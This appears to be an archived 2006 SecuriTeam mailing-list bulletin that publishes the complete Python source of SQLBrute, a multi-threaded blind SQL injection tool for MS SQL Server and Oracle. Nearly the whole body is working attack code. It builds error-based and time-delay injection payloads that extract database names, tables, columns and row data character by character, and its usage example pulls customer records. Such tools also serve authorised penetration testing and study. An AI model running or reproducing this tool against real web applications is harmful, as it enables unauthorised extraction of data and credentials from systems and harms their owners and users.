Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [TOOL] SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer |
|---|---|
| Date: | 27 Mar 2006 18:09:21 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer ------------------------------------------------------------------------ SUMMARY DETAILS Tool source: #!/bin/sh ''':' exec python -O -u "$0" ${1+"$@"} ' ''' # SQLBrute - multi threaded blind SQL injection bruteforcer # By Justin Clarke, justin at justinclarke dot com # # Algorithm originally from the original by Kerry Rollins # # This version does regex based (error/no error) bruteforcing and waitfor delay testing # # There is a page documenting how to use this tool at: # http://www.justinclarke.com/archives/2006/03/sqlbrute.html Version = "032306" # todo # - tidy up the query assembly methods # - implement < and > matching # - rewrite connection methods to use pycurl and get more efficient connection handling # - implement database detection # - multiple columns? import threading import Queue import sys import getopt import string import urllib import cgi import time import re # Set some globals # dictionary for tracking threads and pycurl handles handles = {} handleLock = threading.Lock() sslSupport = True # use pycurl if installed try: import pycurl2 # currently disabled sendlayer = "pycurl" except ImportError: import urllib2 sendlayer = "urllib2" # see if SSL support is compiled in for urllib2 if sendlayer == "urllib2": try: import _ssl except ImportError: print "SSL support not installed - https will not be available" sslSupport = False # consume some signals for pycurl try: import signal from signal import SIGPIPE, SIG_IGN signal.signal(signal.SIGPIPE, signal.SIG_IGN) except ImportError: pass # # class to manage the threading. No actual stuff is done in here - we pass function names and args # # Adapted from Python in a Nutshell (excellent book) # class Worker(threading.Thread): # inherits the Thread class requestID = 0 # each thread has a request ID so we can match responses # constructor - takes two queues as parameters (overrides threading constructor) def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds): threading.Thread.__init__(self, **kwds) self.setDaemon(1) # run in background self.workRequestQueue = requestsQueue self.resultQueue = resultsQueue self.setName(threadNumber) if sendlayer == "pycurl": handleLock.acquire() # don't want to update the dictionary simultaneously from multiple threads handles[threadNumber] = pycurl.Curl() # libcurl handle for this thread handleLock.release() self.start() # start the thread # call the function here - pass in the function and parameters def performWork(self, callable, *args, **kwds): Worker.requestID += 1 self.workRequestQueue.put((Worker.requestID, callable, args, kwds)) return Worker.requestID def run(self): # override run while 1: requestID, callable, args, kwds = self.workRequestQueue.get() self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds))) class sqlbrute: # User variables - change if you want num = 10 # default number of worker threads targeturl = "" cookie = "" verb = "" verbose = 0 postdata = "" table = "" cols = "" headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"]] wherecol = "" whereval = "" dbenum = False # default to enumerating tables from current database enumtype = "" # by default, tables will be enumerated from current database dbtype = "sqlserver" errorregex = "" targeturl = "" timetrack = time.time() timeout = 60 # timeout to wait for responses before exiting tool database = "" # database to use (instead of default) andor = " OR " # default to "or" mode. either "or" or "and" # specifies this is going to be select * from foo where 1=2 _and_ <exploit string> method = "error" # method of testing - error or time based outputfile = "" if sys.platform == "win32": # timing is unreliable in python.org win32 version. I'd use linux for now waitfor = 10 else: waitfor = 7 if sys.platform == "win32": waitres = 5 # time.time() is hideously unreliable in windows else: waitres = 5 tablesource = "sysobjects" # name of source to initially query namecol = "name" # column used for the database name substrfn = "SUBSTRING" # substring for SQL, substr for oracle reqcounter = 0 # number of test requests received testcounter = 0 # counter to track that requests have passed and failed appropriately testvar = 0 requestsQueue = Queue.Queue() resultsQueue = Queue.Queue() # add any additional characters you need matched to this list matches = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v", "k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"] def usage(self): print """ ___ _____ __ ____ ____ __ __ ____ ____ / __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___) \__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__) (___/(___/\\\\(____)(____/(_)\_)(______) (__) (____) """ print "v.%s" % Version print """ Usage: %s options url [--help|-h] - this help [--verbose|-v] - verbose mode [--server|-d oracle|sqlserver] - type of database server (default MS SQL Server) [--error|-e regex] - regex to recognize error page (error testing only) [--threads|-s number] - number of threads (default 10) [--cookie|-k string] - cookies needed [--time|-n] - force time delay (waitfor) testing [--data|-p string] - POST data [--database|-f database] - database to enumerate data from (SQL Server) [--table|-t table] - table to extract data from [--column|-c column] - column to extract data from [--where|-w column=data] - restrict data returned to rows where column "column" matches "data" [--header|-x header::val] - header to add to the request (i.e. Referer::http://foobar/blah.asp) [--output|-o file] - file to send output to Note: exploit will go on the end of the query or post data. This must be correctly formatted for a SQL subquery to be appended. """ % sys.argv[0] print '''e.g. %s --data "searchtype=county&county=1'" --error "NO RESULTS" --database webapp --table customer --column custnum --where password=password http://webapp/page.asp''' % sys.argv[0] # buyer beware if you change anything below - execution starts here def main(self, argv=None): if argv is None: argv = sys.argv try: try: opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:", \ ["help","verbose","server=","header=","error=","threads=","cookie=", "database=","time","data=","table=","column=","where=","output="]) if len(args) <> 1: # 1 arg is the URL print "Args <> 1" raise getopt.error except: raise getopt.error self.targeturl = args if sslSupport == False and re.search(r'https://', self.targeturl): print "You don't seem to have SSL support installed, so no https URLs for you" return 1 for o,a in opts: if o in ("-v", "--verbose"): self.verbose += 1 if o in ("-x", "--header"): self.headers += [a.split("::",1)] if o in ("-k", "--cookie"): self.cookie = a if o in ("-h", "--help"): self.usage() return 1 if o in ("-p", "--data"): self.postdata = a self.verb = "POST" if o in ("-n", "--time"): self.method = "time" if o in ("-s", "--threads"): self.num = int(a) if self.num < 1: print "Threads must be at least 1" return 1 if o in ("-d", "--server"): if a == "oracle": self.dbtype = a if a == "sqlserver": self.dbtype = a if o in ("-t", "--table"): self.table = a if o in ("-c","--column"): self.cols = a if o in ("-w", "--where"): temp = a.split("=",1) self.wherecol = temp[0] self.whereval = temp[1] if o in ("-e", "--error"): self.errorregex = a self.method = "error" if o in ("-f", "--database"): self.database = a if o in ("-o", "--output"): self.outputfile = a if self.cols<>"": if self.table=="": print "If requesting column data, you must specify table" return 1 if not self.errorregex: self.errorregex = r"(error|could not process)" if not self.verb: self.verb = "GET" if (self.verb == "POST" and not self.postdata): print "Specify some POST data" return 1 if self.enumtype=="": if self.table=="" and self.cols=="": if self.dbtype == "sqlserver" and not self.database: self.enumtype="database" else: self.enumtype="table" else: if self.table<>"" and self.cols=="": self.enumtype="column" else: self.enumtype="data" if self.dbtype=="oracle": self.substrfn = "SUBSTR" self.tablesource = "USER_TABLES" self.namecol = "TABLE_NAME" if self.verbose: print "Database type: %s" % self.dbtype print "Table: %s" % self.table print "Columns: ", self.cols print "Enumeration mode: %s" % self.enumtype print "Threads: %d" % self.num if self.database and self.dbtype=="oracle": print "Database specification is not valid for Oracle" return 1 if self.database != "": # add .. for between database and table self.database += ".." except: print "Incorrect options usage" self.usage() return 1 # create worker classes to assign work to later for i in range(self.num): self.worker = Worker(self.requestsQueue, self.resultsQueue, i) # keep track of what we send off to the queues self.workRequests = {} # if sendlayer=="urllib2": # print """ #***pycurl not found*** #Defaulting to Python urllib2 #Consider installing pycurl from http://pycurl.sourceforge.net -- it's faster #""" if self.verbose: print "Testing the application to ensure your options work\n" if self.method == "error": self.testvar = self.testexploiterror() else: self.testvar = self.testexploittime() if self.testvar==1: print """ To troubleshoot: 1) try using -v to see that the queries are correctly formatted 2) try using -vv to get the responses printed to the screen 3) fix your broken url/post data 4) check the error value you are using 5) you've specified the correct database type haven't you?""" return(1) print "This program will currently exit " + str(self.timeout) + " seconds after the last response comes in." for i in self.matches: if self.method == "error": self.gentesterror(i) else: self.gentesttime(i) self.showResults() def postReformat(self, postdata): return urllib.urlencode(cgi.parse_qsl(postdata)) def querystringReformat(self, qsdata): temp = qsdata.split("?") if len(temp) == 2: return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1])) else: return qsdata def doRequest(self, expressionString, exploitdata, match, type, threadName): while True: if sendlayer == "pycurl": handleLock.acquire() # don't want to update the dictionary simultaneously from multiple threads thisHandle = handles[threadName] # libcurl handle for this thread handleLock.release() resp = open(str(threadName), "wb") if self.verb == "GET": if sendlayer == "urllib2": req = urllib2.Request(self.querystringReformat(expressionString)) else: thisHandle.setopt(pycurl.URL, self.querystringReformat(expressionString)) else: if sendlayer == "urllib2": req = urllib2.Request(self.querystringReformat(expressionString), self.postReformat(exploitdata)) else: thisHandle.setopt(pycurl.URL, expressionString) thisHandle.setopt(pycurl.POSTFIELDS, self.postReformat(exploitdata)) if self.cookie<>"": if sendlayer == "urllib2": req.add_header("Cookie",self.cookie) else: thisHandle.setopt(pycurl.HTTPHEADER, self.cookie) # reformat cookie? if self.headers<>[[]]: for i in self.headers: if sendlayer == "urllib2": req.add_header(i[0],i[1]) else: thisHandle.setopt(pycurl.HTTPHEADER, i) # reformat headers? try: starttime = time.time() # get time at start of request if sendlayer == "urllib2": resp = urllib2.urlopen(req) else: thisHandle.setopt(pycurl.WRITEDATA, resp) thisHandle.setopt(pycurl.NOSIGNAL, 1) thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30) thisHandle.setopt(pycurl.TIMEOUT, 300) thisHandle.perform() except urllib2.HTTPError,err: # catch an HTTP 500 error or similar here return err.read(), match, type, starttime, time.time() except: import traceback traceback.print_exc(file=sys.stderr) sys.stderr.flush() print "Unexpected error on: %s %s - Retrying in 5 seconds" % (expressionString,exploitdata) time.sleep(5) else: if sendlayer == "urllib2": return resp.read(), match, type, starttime, time.time() else: #temp = resp.read() #resp.close() return resp.read(), match, type, starttime, time.time() def testexploiterror(self): if self.dbtype=="sqlserver": positivestring = self.andor + "exists (select * from master..sysdatabases)--" negativestring = self.andor + "not exists (select * from master..sysdatabases)--" if self.dbtype=="oracle": positivestring = self.andor + "exists (select * from USER_TABLES)--" negativestring = self.andor + "not exists (select * from USER_TABLES)--" self.genreq(positivestring, "", False) self.genreq(negativestring, "", False) while self.reqcounter != 2: try: id, results = self.resultsQueue.get_nowait() except Queue.Empty: if (time.time() - self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp print "Timed out accessing application\n" return(1) else: continue self.timetrack = time.time() # update record of last successful response self.reqcounter += 1 # update number of requests received if self.verbose>1: print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id])) print 'Response: %s' % results[0] print 'Results: %s, %s' % (results[1], results[2]) if not re.search(self.errorregex,results[0]) : # no error returned self.testcounter += 1 # increment counter 1 if no error returned if self.verbose>1: print "No Error" else: # error returned self.testcounter += 2 # increment counter 2 is error returned if self.verbose>1: print "Error" if self.testcounter == 3: # one failed, one passed request (success!) if self.verbose: print "Exploit and parameters appear to work\n" return(0) else: # failed :-( if self.andor == " OR ": # if we were using or, try changing to AND if self.verbose: print "OR doesn't appear to work - trying AND" self.andor = " AND " self.reqcounter = 0 self.testcounter = 0 return (self.testexploiterror()) else: print "User input exploit and parameters do not appear to work for error testing - trying time testing\n" return(self.testexploittime()) def testexploittime(self): teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--" self.genreq(teststring, "", False) waiting = True while waiting: try: id, results = self.resultsQueue.get_nowait() except Queue.Empty: continue waiting = False if self.verbose>1: print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id])) print 'Response: %s' % results[0] print 'Start time: %s' % results[3] print 'Finish time: %s' % results[4] if results[4]-results[3] > (self.waitfor-self.waitres): # time testing worked self.method = "time" elapsed = results[4] - results[3] if elapsed > (self.waitfor * 2): # slow app self.timeout *= (elapsed/self.waitfor) if self.verbose: print "Exploit and parameters appear to work for time testing\n" return(0) else: # failed :-( print "User input exploit and parameters do not appear to work for time testing\n" return(1) # generate checks - these get multithreaded on the queue def genreq(self, request, match, type): if self.verb == "GET": # standard GET request- exploit querystring expressionString = self.targeturl[0] + request exploitdata="" elif (self.verb == "GET" and self.postdata): # post request, but exploit querystring expressionString = self.targeturl[0] + request exploitdata = self.postdata else: expressionString = self.targeturl[0] # standard post request, exploit post data exploitdata = self.postdata + request id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type) if self.verb == "GET": self.workRequests[id] = expressionString else: self.workRequests[id] = exploitdata # handle underscores def unquote(self, s): return re.sub(r'\[\_\]','_',s) # generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings def genchars(self, s): t = self.unquote(s) foo = len(t) if self.dbtype=="oracle": # use concat statements for oracle if foo==1: # one character - no concat bar = "CHR("+str(ord(t[0].upper()))+")" else: # generate one concat statement if foo==2: bar = "CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))" else: # generate mutiple statements bar = "" for i in range((foo-1)): bar += "CONCAT(CHR("+str(ord(t[i].upper()))+")," bar += "CHR("+str(ord(t[foo-1].upper()))+")" for i in range(foo-1): bar += ")" else: # sql server, so use + signs for concatentation if foo==1: # one char bar = "CHAR("+str(ord(t[0].upper()))+")" else: # generate CHAR()+CHAR() statements bar = "" for i in range((foo-1)): bar += "CHAR("+str(ord(t[i].upper()))+")%2B" bar += "CHAR("+str(ord(t[foo-1].upper()))+")" return bar # generate the guess cases - error def gentesterror(self, s): foo = "" if self.dbtype == "sqlserver": foo = "xtype='u' and " # SQL injection constructors - these assume we can just add these onto the end of the URL or post data if self.enumtype=="database": # sql server only pretable = self.andor + "exists (select * from master..sysdatabases where " + self.substrfn + "(UPPER(" + self.namecol + "),1," midtable = ")=" posttable = ")--" if self.enumtype=="table": pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + self.namecol + "),1," midtable = ")=" posttable = ")--" if self.enumtype=="column": if self.dbtype=="sqlserver": pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id('" + self.database + self.table + "') and " + self.substrfn + "(UPPER(" + self.namecol + "),1," midtable = ")=" posttable = ")--" else: pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + "(UPPER(COLUMN_NAME),1," midtable = ")=" posttable = ")--" if self.enumtype=="data": if self.dbtype=="sqlserver": if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1," else: # where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1," midtable = ")=" posttable = ")--" else: # oracle if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1," else: # where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1," midtable = ")=" posttable = ")--" teststring = self.genchars(s) self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True) # generate test cases - time def gentesttime(self, s): prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases where name like '" postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--" predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '" pretablike = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name like '" if self.whereval=="": # enumerating values in a specific column predatalike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) like '" else: prejoinlike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '" if self.enumtype=="database": self.genreq(prewaitforlike + s + postwaitfor, s, True) if self.enumtype=="table": self.genreq(predblike + s + postwaitfor, s, True) if self.enumtype=="column": self.genreq(pretablike + s + postwaitfor, s, True) if self.enumtype=="data": if self.whereval=="": self.genreq(predatalike + s + postwaitfor,s,True) else: self.genreq(prejoinlike + s + postwaitfor,s,True) def checkmatchtime(self, s): prewaitforequals = "%3Bif EXISTS (select name from master..sysdatabases where name = '" postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + "'--" predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '" pretabequals = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name = '" if self.whereval=="": # enumerating values in a specific column predataequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) = '" else: prejoinequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '" if self.enumtype=="database": self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False) if self.enumtype=="table": self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False) if self.enumtype=="column": self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False) if self.enumtype=="data": if self.whereval=="": self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False) else: self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False) # generate check for whether we have an exact match (error testing) def checkmatcherror(self, s): foo = "" if self.dbtype == "sqlserver": foo = "xtype='u' and " # SQL injection constructors - these assume we can just add these onto the end of the URL or post data if self.enumtype=="database": # only valid for sql server pretable = self.andor + "exists (select * from master..sysdatabases where UPPER(" + self.namecol + ")=" posttable = ")--" if self.enumtype=="table": pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where UPPER(" + self.namecol +")=" posttable = " )--" if self.enumtype=="column": if self.dbtype=="sqlserver": pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id(" + self.genchars(self.database + self.table) + ") and UPPER(" + self.namecol + ")=" posttable = ")--" else: pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and UPPER(COLUMN_NAME)=" posttable = ")--" if self.enumtype=="data": if self.dbtype=="sqlserver": if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where UPPER(convert(varchar," + self.cols + ",2))=" else: # where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + ",2))=" posttable = ")--" else: # oracle if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where UPPER(TO_CHAR(" + self.cols + "))=" else: # where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(TO_CHAR(" + self.cols + "))=" midtable = ")=" posttable = ")--" teststring = self.genchars(s) self.genreq(pretable + teststring + posttable, s, False) # used to check results and exact checks def showResults(self): self.timetrack = time.time() while True: try: id, results = self.resultsQueue.get_nowait() except Queue.Empty: if (time.time() - self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp break else: continue self.timetrack = time.time() # update record of last successful response if self.verbose>1: print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id])) print 'Results: %s, %s' % (results[1], results[2]) print 'Start time: %s' % results[3] print 'Finish time: %s' % results[4] if self.verbose>2: print 'Response: %s' % results[0] if self.method == "error": # if using error testing if not re.search(self.errorregex,results[0]) : # no error returned if self.verbose > 1: print 'No error' if results[2]: # if a guess match test if self.verbose: print "%s" % self.unquote(results[1]) self.checkmatcherror(results[1]) else: print "Found: %s" % self.unquote(results[1]) for i in self.matches: self.gentesterror(results[1]+i) if self.outputfile != "": outputhandle = file(self.outputfile, 'a', 0) outputhandle.write(self.unquote(results[1])+"\r\n") outputhandle.close() else: # no match if self.verbose > 1: print 'Error detected' if not results[2]: # if was an exact match test (and failed) generate more for i in self.matches: self.gentesterror(results[1]+i) else: # if time based testing if results[4]-results[3] > (self.waitfor-self.waitres): # we had a match if results[2]: # guess match test if self.verbose: print "%s" % self.unquote(results[1]) self.checkmatchtime(results[1]) else: # exact match test print "Found: %s" % self.unquote(results[1]) for i in self.matches: self.gentesttime(results[1]+i) if self.outputfile != "": outputhandle = file(self.outputfile, 'a', 0) outputhandle.write(self.unquote(results[1])+"\r\n") outputhandle.close() else: # no match if not results[2]: # if it was an exact match condition (and failed) - iterate further for i in self.matches: self.gentesttime(results[1]+i) # main called here if __name__ == "__main__": instance = sqlbrute() sys.exit(instance.main()) ADDITIONAL INFORMATION The information has been provided by <mailto:justin@justinclarke.com> Justin Clarke. The original article can be found at: <http://www.justinclarke.com/archives/2006/03/sqlbrute.html> http://www.justinclarke.com/archives/2006/03/sqlbrute.html ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [TOOL] StrongSWAN - OpenSource IPsec-based VPN Solution, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] DSLogin Authentication Bypass Vulnerability, SecuriTeam |
| Previous by Thread: | [TOOL] StrongSWAN - OpenSource IPsec-based VPN Solution, SecuriTeam |
| Next by Thread: | [UNIX] DSLogin Authentication Bypass Vulnerability, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |